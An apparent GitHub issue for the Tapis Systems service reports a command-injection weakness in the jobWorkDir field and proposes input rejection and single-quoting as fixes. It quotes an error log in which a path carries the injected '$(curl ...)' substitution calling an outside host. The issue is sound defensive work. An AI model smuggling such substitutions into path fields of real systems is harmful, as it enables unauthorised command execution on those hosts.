Systems: Protect against command injection

[richcar58]

jobWorkDir and possibly other fields in system definitions are susceptible to command injection. These field take unstructured string data used to build paths and these path sometimes appear in executable scripts during job execution. While it's true that these scripts can only perform actions allowed under the host account on which they run, the exposure is worse when service accounts are used. Here is an example of how a command can be embedded in a system's jobWorkDir:

JOBS_WORKER_PROCESSING_ERROR An exception occurred on JobWorker wkr-DefaultQueue-14 on queue tapis.jobq.submit.DefaultQueue running wkr-DefaultQueue-JobQueueProcessor while processing job c080a4f1-74e9-4d63-b140-425966372616-007: TAPIS_SFTP_CMD_ERROR Job c080a4f1-74e9-4d63-b140-425966372616-007 is unable to issue sftp command on system aws_ec2_amit (host=52.9.136.88) as user ubuntu in tenant amit with target file "/home/ubuntu/tapis_system/workdir_$(curl https:/seedmelab.org/nnnnn1)/jobs/c080a4f1-74e9-4d63-b140-425966372616-007/tapisjob.sh": readAck - EOF before ACK

We can address this issue at definition time by rejecting common constructs that inject commands. We can also use single quoting at runtime to avoid command interpretation (see a similar issue in tapis-jobs). Actions taken here may also apply to fields in application definitions.